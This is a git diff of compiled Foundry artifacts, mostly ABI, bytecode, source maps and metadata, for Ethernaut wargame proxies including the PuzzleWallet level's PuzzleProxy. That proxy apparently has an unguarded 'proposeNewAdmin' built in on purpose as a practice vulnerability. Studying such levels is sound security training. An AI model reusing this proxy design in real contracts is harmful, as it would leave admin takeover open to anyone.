12;7283:16;:51::i;:::-;7276:58;6954:387;-1:-1:-1;;;;;;6954:387:33:o;7561:742::-;7707:12;7735:7;7731:566;;;-1:-1:-1;7765:10:33;7758:17;;7731:566;7876:17;;:21;7872:415;;8120:10;8114:17;8180:15;8167:10;8163:2;8159:19;8152:44;7872:415;8259:12;8252:20;;-1:-1:-1;;;8252:20:33;;;;;;;;:::i;14:196:155:-;82:20;;-1:-1:-1;;;;;131:54:155;;121:65;;111:93;;200:1;197;190:12;111:93;14:196;;;:::o;215:186::-;274:6;327:2;315:9;306:7;302:23;298:32;295:52;;;343:1;340;333:12;295:52;366:29;385:9;366:29;:::i;406:665::-;485:6;493;501;554:2;542:9;533:7;529:23;525:32;522:52;;;570:1;567;560:12;522:52;593:29;612:9;593:29;:::i;:::-;583:39;;673:2;662:9;658:18;645:32;696:18;737:2;729:6;726:14;723:34;;;753:1;750;743:12;723:34;791:6;780:9;776:22;766:32;;836:7;829:4;825:2;821:13;817:27;807:55;;858:1;855;848:12;807:55;898:2;885:16;924:2;916:6;913:14;910:34;;;940:1;937;930:12;910:34;985:7;980:2;971:6;967:2;963:15;959:24;956:37;953:57;;;1006:1;1003;996:12;953:57;1037:2;1033;1029:11;1019:21;;1059:6;1049:16;;;;;406:665;;;;;:::o;3342:250::-;3427:1;3437:113;3451:6;3448:1;3445:13;3437:113;;;3527:11;;;3521:18;3508:11;;;3501:39;3473:2;3466:10;3437:113;;;-1:-1:-1;;3584:1:155;3566:16;;3559:27;3342:250::o;3597:287::-;3726:3;3764:6;3758:13;3780:66;3839:6;3834:3;3827:4;3819:6;3815:17;3780:66;:::i;:::-;3862:16;;;;;3597:287;-1:-1:-1;;3597:287:155:o;3889:396::-;4038:2;4027:9;4020:21;4001:4;4070:6;4064:13;4113:6;4108:2;4097:9;4093:18;4086:34;4129:79;4201:6;4196:2;4185:9;4181:18;4176:2;4168:6;4164:15;4129:79;:::i;:::-;4269:2;4248:15;-1:-1:-1;;4244:29:155;4229:45;;;;4276:2;4225:54;;3889:396;-1:-1:-1;;3889:396:155:o","linkReferences":{}},"methodIdentifiers":{"admin()":"f851a440","changeAdmin(address)":"8f283970","implementation()":"5c60da1b","upgradeTo(address)":"3659cfe6","upgradeToAndCall(address,bytes)":"4f1ef286"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_impl\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_admin\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_ethernautAddress\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"previousAdmin\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"newAdmin\",\"type\":\"address\"}],\"name\":\"AdminChanged\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"beacon\",\"type\":\"address\"}],\"name\":\"BeaconUpgraded\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"implementation\",\"type\":\"address\"}],\"name\":\"Upgraded\",\"type\":\"event\"},{\"stateMutability\":\"payable\",\"type\":\"fallback\"},{\"inputs\":[],\"name\":\"admin\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"admin_\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newAdmin\",\"type\":\"address\"}],\"name\":\"changeAdmin\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"implementation\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"implementation_\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newImplementation\",\"type\":\"address\"}],\"name\":\"upgradeTo\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newImplementation\",\"type\":\"address\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"}],\"name\":\"upgradeToAndCall\",\"outputs\":[],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"stateMutability\":\"payable\",\"type\":\"receive\"}],\"devdoc\":{\"events\":{\"AdminChanged(address,address)\":{\"details\":\"Emitted when the admin account has changed.\"},\"BeaconUpgraded(address)\":{\"details\":\"Emitted when the beacon is upgraded.\"},\"Upgraded(address)\":{\"details\":\"Emitted when the implementation is upgraded.\"}},\"kind\":\"dev\",\"methods\":{\"admin()\":{\"details\":\"Returns the current admin. NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}. TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103`\"},\"changeAdmin(address)\":{\"details\":\"Changes the admin of the proxy. Emits an {AdminChanged} event. NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}.\"},\"implementation()\":{\"details\":\"Returns the current implementation. NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}. TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc`\"},\"upgradeTo(address)\":{\"details\":\"Upgrade the implementation of the proxy. NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}.\"},\"upgradeToAndCall(address,bytes)\":{\"details\":\"Upgrade the implementation of the proxy, and then call a function from the new implementation as specified by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the proxied contract. NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/proxy/ProxyStats.sol\":\"ProxyStats\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"_impl","type":"address"},{"internalType":"address","name":"_admin","type":"address"},{"internalType":"address","name":"_ethernautAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"previousAdmin","type":"address","indexed":false},{"internalType":"address","name":"newAdmin","type":"address","indexed":false}],"type":"event","name":"AdminChanged","anonymous":false},{"inputs":[{"internalType":"address","name":"beacon","type":"address","indexed":true}],"type":"event","name":"BeaconUpgraded","anonymous":false},{"inputs":[{"internalType":"address","name":"implementation","type":"address","indexed":true}],"type":"event","name":"Upgraded","anonymous":false},{"inputs":[],"stateMutability":"payable","type":"fallback"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"admin","outputs":[{"internalType":"address","name":"admin_","type":"address"}]},{"inputs":[{"internalType":"address","name":"newAdmin","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"changeAdmin"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"implementation","outputs":[{"internalType":"address","name":"implementation_","type":"address"}]},{"inputs":[{"internalType":"address","name":"newImplementation","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"upgradeTo"},{"inputs":[{"internalType":"address","name":"newImplementation","type":"address"},{"internalType":"bytes","name":"data","type":"bytes"}],"stateMutability":"payable","type":"function","name":"upgradeToAndCall"},{"inputs":[],"stateMutability":"payable","type":"receive"}],"devdoc":{"kind":"dev","methods":{"admin()":{"details":"Returns the current admin. NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}. TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103`"},"changeAdmin(address)":{"details":"Changes the admin of the proxy. Emits an {AdminChanged} event. NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}."},"implementation()":{"details":"Returns the current implementation. NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}. TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc`"},"upgradeTo(address)":{"details":"Upgrade the implementation of the proxy. NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}."},"upgradeToAndCall(address,bytes)":{"details":"Upgrade the implementation of the proxy, and then call a function from the new implementation as specified by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the proxied contract. NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/proxy/ProxyStats.sol":"ProxyStats"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/proxy/ProxyStats.sol","id":58029,"exportedSymbols":{"Address":[48259],"ERC1967Proxy":[46747],"ERC1967Upgrade":[47065],"IBeacon":[47127],"IERC1822Proxiable":[46710],"Proxy":[47117],"ProxyStats":[58028],"StorageSlot":[48341],"TransparentUpgradeableProxy":[47275]},"nodeType":"SourceUnit","src":"32:366:119","nodes":[{"id":58005,"nodeType":"PragmaDirective","src":"32:23:119","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":58006,"nodeType":"ImportDirective","src":"57:85:119","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol","file":"openzeppelin-contracts-08/proxy/transparent/TransparentUpgradeableProxy.sol","nameLocation":"-1:-1:-1","scope":58029,"sourceUnit":47276,"symbolAliases":[],"unitAlias":""},{"id":58028,"nodeType":"ContractDefinition","src":"144:253:119","nodes":[{"id":58027,"nodeType":"FunctionDefinition","src":"201:194:119","nodes":[],"body":{"id":58026,"nodeType":"Block","src":"393:2:119","nodes":[],"statements":[]},"implemented":true,"kind":"constructor","modifiers":[{"arguments":[{"id":58017,"name":"_impl","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58010,"src":"307:5:119","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":58018,"name":"_admin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58012,"src":"314:6:119","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"hexValue":"696e697469616c697a65286164647265737329","id":58021,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"346:21:119","typeDescriptions":{"typeIdentifier":"t_stringliteral_c4d66de8473e8f74cb05df264ee8262da16b56717ef1f05d73bfdcea3adc85e5","typeString":"literal_string \"initialize(address)\""},"value":"initialize(address)"},{"id":58022,"name":"_ethernautAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58014,"src":"369:17:119","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c4d66de8473e8f74cb05df264ee8262da16b56717ef1f05d73bfdcea3adc85e5","typeString":"literal_string \"initialize(address)\""},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":58019,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"322:3:119","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":58020,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"326:19:119","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"322:23:119","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":58023,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"322:65:119","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"id":58024,"kind":"baseConstructorSpecifier","modifierName":{"id":58016,"name":"TransparentUpgradeableProxy","nameLocations":["279:27:119"],"nodeType":"IdentifierPath","referencedDeclaration":47275,"src":"279:27:119"},"nodeType":"ModifierInvocation","src":"279:109:119"}],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":58015,"nodeType":"ParameterList","parameters":[{"constant":false,"id":58010,"mutability":"mutable","name":"_impl","nameLocation":"221:5:119","nodeType":"VariableDeclaration","scope":58027,"src":"213:13:119","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":58009,"name":"address","nodeType":"ElementaryTypeName","src":"213:7:119","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":58012,"mutability":"mutable","name":"_admin","nameLocation":"236:6:119","nodeType":"VariableDeclaration","scope":58027,"src":"228:14:119","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":58011,"name":"address","nodeType":"ElementaryTypeName","src":"228:7:119","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":58014,"mutability":"mutable","name":"_ethernautAddress","nameLocation":"252:17:119","nodeType":"VariableDeclaration","scope":58027,"src":"244:25:119","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":58013,"name":"address","nodeType":"ElementaryTypeName","src":"244:7:119","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"212:58:119"},"returnParameters":{"id":58025,"nodeType":"ParameterList","parameters":[],"src":"393:0:119"},"scope":58028,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":58007,"name":"TransparentUpgradeableProxy","nameLocations":["167:27:119"],"nodeType":"IdentifierPath","referencedDeclaration":47275,"src":"167:27:119"},"id":58008,"nodeType":"InheritanceSpecifier","src":"167:27:119"}],"canonicalName":"ProxyStats","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[58028,47275,46747,47065,47117],"name":"ProxyStats","nameLocation":"153:10:119","scope":58029,"usedErrors":[],"usedEvents":[46766,46912,46977]}],"license":"MIT"},"id":119} \ No newline at end of file diff --git a/contracts/out/PuzzleWallet.sol/PuzzleProxy.json b/contracts/out/PuzzleWallet.sol/PuzzleProxy.json new file mode 100644 index 000000000..417c754d9 --- /dev/null +++ b/contracts/out/PuzzleWallet.sol/PuzzleProxy.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[{"name":"_admin","type":"address","internalType":"address"},{"name":"_implementation","type":"address","internalType":"address"},{"name":"_initData","type":"bytes","internalType":"bytes"}],"stateMutability":"nonpayable"},{"type":"fallback","stateMutability":"payable"},{"type":"receive","stateMutability":"payable"},{"type":"function","name":"admin","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"approveNewAdmin","inputs":[{"name":"_expectedAdmin","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"pendingAdmin","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"proposeNewAdmin","inputs":[{"name":"_newAdmin","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"upgradeTo","inputs":[{"name":"_newImplementation","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"Upgraded","inputs":[{"name":"implementation","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506040516107a43803806107a483398101604081905261002e916101f9565b818161005b60017f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbd6102c3565b5f8051602061078483398151915214610076576100766102e8565b61007f82610116565b8051156100eb575f826001600160a01b03168260405161009f91906102fc565b5f60405180830381855af49150503d805f81146100d7576040519150601f19603f3d011682016040523d82523d5f602084013e6100dc565b606091505b50509050806100e9575f80fd5b505b5050600180546001600160a01b0319166001600160a01b039490941693909317909255506103179050565b6001600160a01b0381163b6101975760405162461bcd60e51b815260206004820152603660248201527f5570677261646561626c6550726f78793a206e657720696d706c656d656e746160448201527f74696f6e206973206e6f74206120636f6e747261637400000000000000000000606482015260840160405180910390fd5b5f8051602061078483398151915255565b80516001600160a01b03811681146101be575f80fd5b919050565b634e487b7160e01b5f52604160045260245ffd5b5f5b838110156101f15781810151838201526020016101d9565b50505f910152565b5f805f6060848603121561020b575f80fd5b610214846101a8565b9250610222602085016101a8565b60408501519092506001600160401b038082111561023e575f80fd5b818601915086601f830112610251575f80fd5b815181811115610263576102636101c3565b604051601f8201601f19908116603f0116810190838211818310171561028b5761028b6101c3565b816040528281528960208487010111156102a3575f80fd5b6102b48360208301602088016101d7565b80955050505050509250925092565b818103818111156102e257634e487b7160e01b5f52601160045260245ffd5b92915050565b634e487b7160e01b5f52600160045260245ffd5b5f825161030d8184602087016101d7565b9190910192915050565b610460806103245f395ff3fe60806040526004361061005d575f3560e01c8063a02fcc0a11610042578063a02fcc0a146100cd578063a6376746146100ec578063f851a440146101345761006c565b806326782247146100745780633659cfe6146100ae5761006c565b3661006c5761006a610153565b005b61006a610153565b34801561007f575f80fd5b505f54610092906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b3480156100b9575f80fd5b5061006a6100c83660046103fd565b610185565b3480156100d8575f80fd5b5061006a6100e73660046103fd565b6101f0565b3480156100f7575f80fd5b5061006a6101063660046103fd565b5f805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b34801561013f575f80fd5b50600154610092906001600160a01b031681565b61018361017e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b6102ff565b565b6001546001600160a01b031633146101e45760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f74207468652061646d696e00000000000000000060448201526064015b60405180910390fd5b6101ed8161031d565b50565b6001546001600160a01b0316331461024a5760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f74207468652061646d696e00000000000000000060448201526064016101db565b5f546001600160a01b038281169116146102ce576040805162461bcd60e51b81526020600482015260248101919091527f4578706563746564206e65772061646d696e206279207468652063757272656e60448201527f742061646d696e206973206e6f74207468652070656e64696e672061646d696e60648201526084016101db565b505f546001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03909216919091179055565b365f80375f80365f845af43d5f803e808015610319573d5ff35b3d5ffd5b6103268161035c565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b6001600160a01b0381163b6103d95760405162461bcd60e51b815260206004820152603660248201527f5570677261646561626c6550726f78793a206e657720696d706c656d656e746160448201527f74696f6e206973206e6f74206120636f6e74726163740000000000000000000060648201526084016101db565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc55565b5f6020828403121561040d575f80fd5b81356001600160a01b0381168114610423575f80fd5b939250505056fea2646970667358221220897a58963b49b36715afa3e1444c9f7bdb8e9025fc8a7090ef4d5c9d90a80b3664736f6c63430008180033360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc","sourceMap":"137:831:101:-:0;;;244:165;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;346:15;363:9;1164:54:60;1217:1;1172:41;1164:54;:::i;:::-;-1:-1:-1;;;;;;;;;;;1132:87:60;1125:95;;;;:::i;:::-;1230:26;1249:6;1230:18;:26::i;:::-;1270:12;;:16;1266:184;;1366:12;1383:6;-1:-1:-1;;;;;1383:19:60;1403:5;1383:26;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1365